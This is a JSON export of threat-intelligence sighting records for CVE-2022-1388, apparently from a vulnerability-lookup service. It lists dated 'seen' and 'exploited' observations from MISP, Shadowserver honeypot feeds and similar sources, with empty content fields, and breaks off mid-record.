{"vulnerability": "CVE-2022-1388", "sightings": [{"uuid": "a1c4d259-c028-4791-86f8-d2a4ddd4d636", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "MISP/b7effe8d-f245-44fd-94ef-5f2f693cfb06", "content": "", "creation_timestamp": "2022-09-30T08:50:28.000000Z"}, {"uuid": "2e18104e-c147-4b60-9570-fbe9e46ba484", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "MISP/8bf50bb8-94dd-4004-a646-5f78db6f0b6a", "content": "", "creation_timestamp": "2022-07-13T13:02:16.000000Z"}, {"uuid": "0ea9c339-7518-434e-baa2-c3de99146159", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "MISP/d04c7e03-aa92-4ecb-9ad7-e8b93329324e", "content": "", "creation_timestamp": "2022-05-11T13:50:09.000000Z"}, {"uuid": "671c3251-9058-4431-bb2d-c42d21b43e4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "MISP/dc5dec87-8eb7-4855-96f4-0e71761ad952", "content": "", "creation_timestamp": "2022-05-11T14:08:55.000000Z"}, {"uuid": "f7cef93e-144e-499b-bec7-70b6245da89b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2023-06-14T21:10:04.000000Z"}, {"uuid": "de49d0c5-9978-44ac-8414-1ed991f09e0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "MISP/dcf911ee-17b3-4902-aa15-4ecabf2e40ce", "content": "", "creation_timestamp": "2024-09-12T10:33:13.000000Z"}, {"uuid": "e5501338-8f68-4742-8a93-450f1dbe8edb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971544", "content": "", "creation_timestamp": "2024-12-24T20:30:55.192533Z"}, {"uuid": "edad4d2d-6e7a-4645-b766-2fd331398b48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-27)", "content": "", "creation_timestamp": "2025-01-27T00:00:00.000000Z"}, {"uuid": "81284a76-3de1-4af5-b4f4-855d026aa061", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-15)", "content": "", "creation_timestamp": "2025-01-15T00:00:00.000000Z"}, {"uuid": "b6e7747a-f7c7-4bb5-8623-ddee99b37f86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-27)", "content": "", "creation_timestamp": "2025-01-27T00:00:00.000000Z"}, {"uuid": "ffb95576-6a5c-49c6-9b44-ec7246f46d5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-27)", "content": "", "creation_timestamp": "2024-12-27T00:00:00.000000Z"}, {"uuid": "c76209f4-a68a-4723-a106-47abfd9a221a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-01)", "content": "", "creation_timestamp": "2025-01-01T00:00:00.000000Z"}, {"uuid": "4fba2ff1-cae0-40bf-8f27-4b6190182e01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-10-25)", "content": "", "creation_timestamp": "2024-10-25T00:00:00.000000Z"}, {"uuid": "f8e8f5cb-8b6b-4860-9e26-ca560c69b6b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-10-27)", "content": "", "creation_timestamp": "2024-10-27T00:00:00.000000Z"}, {"uuid": "648d69a1-be44-49c5-b382-1896db9b147d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-29)", "content": "", "creation_timestamp": "2025-01-29T00:00:00.000000Z"}, {"uuid": "00562563-236e-417e-9f5a-6853bcdadc12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-11-05)", "content": "", "creation_timestamp": "2024-11-05T00:00:00.000000Z"}, {"uuid": "b4ed4108-f72c-4f8e-b4b0-6d0c7b1c8b5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-29)", "content": "", "creation_timestamp": "2025-01-29T00:00:00.000000Z"}, {"uuid": "c3b00e72-e526-4f26-a003-ea9eb8f64593", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://bsky.app/profile/tuxpanik.bsky.social/post/3lgvfzwn6if2q", "content": "", "creation_timestamp": "2025-01-29T16:42:46.747460Z"}, {"uuid": "c6d29e14-562a-4199-99ea-d9f0d48f0f24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:45.000000Z"}, {"uuid": "7b283a7c-b4cf-48dc-b6e9-ab5b0dd9701c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-01)", "content": "", "creation_timestamp": "2024-12-01T00:00:00.000000Z"}, {"uuid": "9bf51233-2189-4a5e-b523-146a31bada4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-07)", "content": "", "creation_timestamp": "2024-12-07T00:00:00.000000Z"}, {"uuid": "6e836eb5-875c-426e-983d-edf47de99412", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-15)", "content": "", "creation_timestamp": "2024-12-15T00:00:00.000000Z"}, {"uuid": "a6b87258-ab48-4722-a546-4360d734a320", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-24)", "content": "", "creation_timestamp": "2024-12-24T00:00:00.000000Z"}, {"uuid": "fb39273c-7511-4608-aae5-a9df48c2e79c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-31)", "content": "", "creation_timestamp": "2024-12-31T00:00:00.000000Z"}, {"uuid": "4e720ed0-3467-4519-bb17-083015b92a61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-12)", "content": "", "creation_timestamp": "2025-01-12T00:00:00.000000Z"}, {"uuid": "5099f1c3-e544-456e-8a9d-aa7bb97d7cfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-01)", "content": "", "creation_timestamp": "2025-02-01T00:00:00.000000Z"}, {"uuid": "cd737d4f-db37-4b62-a799-f5d041ee864d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-28)", "content": "", "creation_timestamp": "2025-01-28T00:00:00.000000Z"}, {"uuid": "a45b049c-ad48-4ade-811d-edd2a3d4e868", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-28)", "content": "", "creation_timestamp": "2025-01-28T00:00:00.000000Z"}, {"uuid": "b42ae300-17b4-4b3c-8d79-8641aeaa3dda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-26)", "content": "", "creation_timestamp": "2025-01-26T00:00:00.000000Z"}, {"uuid": "c0d5a7f1-cec8-4ac1-bf71-7433bc7484b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-26)", "content": "", "creation_timestamp": "2025-01-26T00:00:00.000000Z"}, {"uuid": "8fbd2c05-4b1b-4007-911e-f29f944b9456", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:42.000000Z"}, {"uuid": "d80ed28b-9583-44ea-a404-6c57a7f41748", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-08)", "content": "", "creation_timestamp": "2025-03-08T00:00:00.000000Z"}, {"uuid": "0409b9c8-6766-405e-808f-b404ed3eea63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-23)", "content": "", "creation_timestamp": "2025-03-23T00:00:00.000000Z"}, {"uuid": "7b8ef4bd-ad7c-41a2-a685-11ebce824364", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-09)", "content": "", "creation_timestamp": "2025-02-09T00:00:00.000000Z"}, {"uuid": "7b3d693b-4629-4fe7-954c-276ebb230b01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-04)", "content": "", "creation_timestamp": "2025-03-04T00:00:00.000000Z"}, {"uuid": "90b60760-6ca2-41b6-a4d1-b01ea9acc531", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-24)", "content": "", "creation_timestamp": "2025-02-24T00:00:00.000000Z"}, {"uuid": "16956349-9886-4bd0-8b2f-36b06cefd96f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-24)", "content": "", "creation_timestamp": "2025-02-24T00:00:00.000000Z"}, {"uuid": "4c90ebd1-6429-4e49-a734-0ceff429dd9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-14)", "content": "", "creation_timestamp": "2025-02-14T00:00:00.000000Z"}, {"uuid": "644ce02f-3ec7-48fb-8b57-dd3cf6a87490", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-13)", "content": "", "creation_timestamp": "2025-02-13T00:00:00.000000Z"}, {"uuid": "c46cbb05-11e6-49b4-b38b-815f3cd85034", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-10)", "content": "", "creation_timestamp": "2025-03-10T00:00:00.000000Z"}, {"uuid": "17ad9713-1626-4543-bc86-9d0bd820115f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-12)", "content": "", "creation_timestamp": "2025-03-12T00:00:00.000000Z"}, {"uuid": "3ab39f1a-0c6b-4256-b409-5edc38d22c46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-15)", "content": "", "creation_timestamp": "2025-02-15T00:00:00.000000Z"}, {"uuid": "2c6adebb-95df-4cf7-8253-394f9bb35984", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-16)", "content": "", "creation_timestamp": "2025-02-16T00:00:00.000000Z"}, {"uuid": "6e8b4a24-c4fd-4181-b3bc-b2d58bf76a78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-14)", "content": "", "creation_timestamp": "2025-03-14T00:00:00.000000Z"}, {"uuid": "396cec36-3380-4427-95e4-c93a149d2078", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-16)", "content": "", "creation_timestamp": "2025-02-16T00:00:00.000000Z"}, {"uuid": "653eadd0-7954-4f2c-be60-46131df62da0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-16)", "content": "", "creation_timestamp": "2025-03-16T00:00:00.000000Z"}, {"uuid": "6ff9faf2-d818-4131-8acd-a1bed93650c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-07)", "content": "", "creation_timestamp": "2025-03-07T00:00:00.000000Z"}, {"uuid": "bc037853-cb25-4b1e-b035-59f207750bcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-18)", "content": "", "creation_timestamp": "2025-02-18T00:00:00.000000Z"}, {"uuid": "6c05cac7-da88-40ae-aac8-f628faf244d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-21)", "content": "", "creation_timestamp": "2025-02-21T00:00:00.000000Z"}, {"uuid": "2763e17e-9231-4d5d-b504-4931849c0f62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-23)", "content": "", "creation_timestamp": "2025-02-23T00:00:00.000000Z"}, {"uuid": "dd6e5b85-ead9-4d3d-9f8b-2a2e5a775921", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-11)", "content": "", "creation_timestamp": "2025-03-11T00:00:00.000000Z"}, {"uuid": "8428fb99-53d9-45c3-bbe7-9cdb0454ec72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:10:33.000000Z"}, {"uuid": "6fb90716-5c40-4c8d-9299-cc824dbc10f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-23)", "content": "", "creation_timestamp": "2025-02-23T00:00:00.000000Z"}, {"uuid": "d1bc2194-fb8d-48da-a115-c51e4293099e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-17)", "content": "", "creation_timestamp": "2025-03-17T00:00:00.000000Z"}, {"uuid": "0503b2d0-1a16-4e85-8bab-d2f9ab622142", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-21)", "content": "", "creation_timestamp": "2025-03-21T00:00:00.000000Z"}, {"uuid": "408b2c4c-f0c2-48ad-9a58-fbc1c10e1b80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-28)", "content": "", "creation_timestamp": "2025-02-28T00:00:00.000000Z"}, {"uuid": "405e9efd-f4ca-4f65-a96e-9408e28d3784", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-25)", "content": "", "creation_timestamp": "2025-02-25T00:00:00.000000Z"}, {"uuid": "fea8d69f-1bdf-48da-9cfe-a274600444d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-08)", "content": "", "creation_timestamp": "2025-03-08T00:00:00.000000Z"}, {"uuid": "7d4ec4b0-807a-4b99-b405-c521d5368c8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-01)", "content": "", "creation_timestamp": "2025-03-01T00:00:00.000000Z"}, {"uuid": "0fc5342e-7494-47b2-b645-46159763373e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-28)", "content": "", "creation_timestamp": "2025-03-28T00:00:00.000000Z"}, {"uuid": "7cc64d61-73d4-498a-87d6-5a80f16b3012", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-11)", "content": "", "creation_timestamp": "2025-07-11T00:00:00.000000Z"}, {"uuid": "c5d1b056-3afc-4066-9391-c7ff7e1cf001", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-27)", "content": "", "creation_timestamp": "2025-06-27T00:00:00.000000Z"}, {"uuid": "7941d51b-e62d-49d0-b3e9-c4c4a83915be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-03)", "content": "", "creation_timestamp": "2025-04-03T00:00:00.000000Z"}, {"uuid": "2aaf9b17-8d4e-4e85-bb7e-4b400e1a78b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-05)", "content": "", "creation_timestamp": "2025-04-05T00:00:00.000000Z"}, {"uuid": "785de003-044a-4114-a15f-09acc8c239b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-06)", "content": "", "creation_timestamp": "2025-04-06T00:00:00.000000Z"}, {"uuid": "8a186c8b-cfaf-4652-951e-55f4ef750a2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-23)", "content": "", "creation_timestamp": "2025-05-23T00:00:00.000000Z"}, {"uuid": "f71531ca-e2e1-4d45-b4b9-0149b9498664", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "MISP/dcf911ee-17b3-4902-aa15-4ecabf2e40ce", "content": "", "creation_timestamp": "2025-06-19T23:26:58.000000Z"}, {"uuid": "861d6f35-adc4-4f47-bfc4-b730dc2cedcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-07)", "content": "", "creation_timestamp": "2025-06-07T00:00:00.000000Z"}, {"uuid": "298a6021-72d5-4613-a64e-6df68914805f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-14)", "content": "", "creation_timestamp": "2025-04-14T00:00:00.000000Z"}, {"uuid": "7ec0d2bf-19e9-421c-a268-3122553c8aee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-21)", "content": "", "creation_timestamp": "2025-05-21T00:00:00.000000Z"}, {"uuid": "a0d0f3ed-29d1-45f8-a417-0910f6afee87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-11)", "content": "", "creation_timestamp": "2025-06-11T00:00:00.000000Z"}, {"uuid": "ff550630-9769-4376-9db2-0b6a781be799", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-13)", "content": "", "creation_timestamp": "2025-06-13T00:00:00.000000Z"}, {"uuid": "d7684d1c-88cd-4cd1-bebc-a31aed93f0ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-26)", "content": "", "creation_timestamp": "2025-05-26T00:00:00.000000Z"}, {"uuid": "89050c49-8893-423f-beb3-612e43e93503", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - 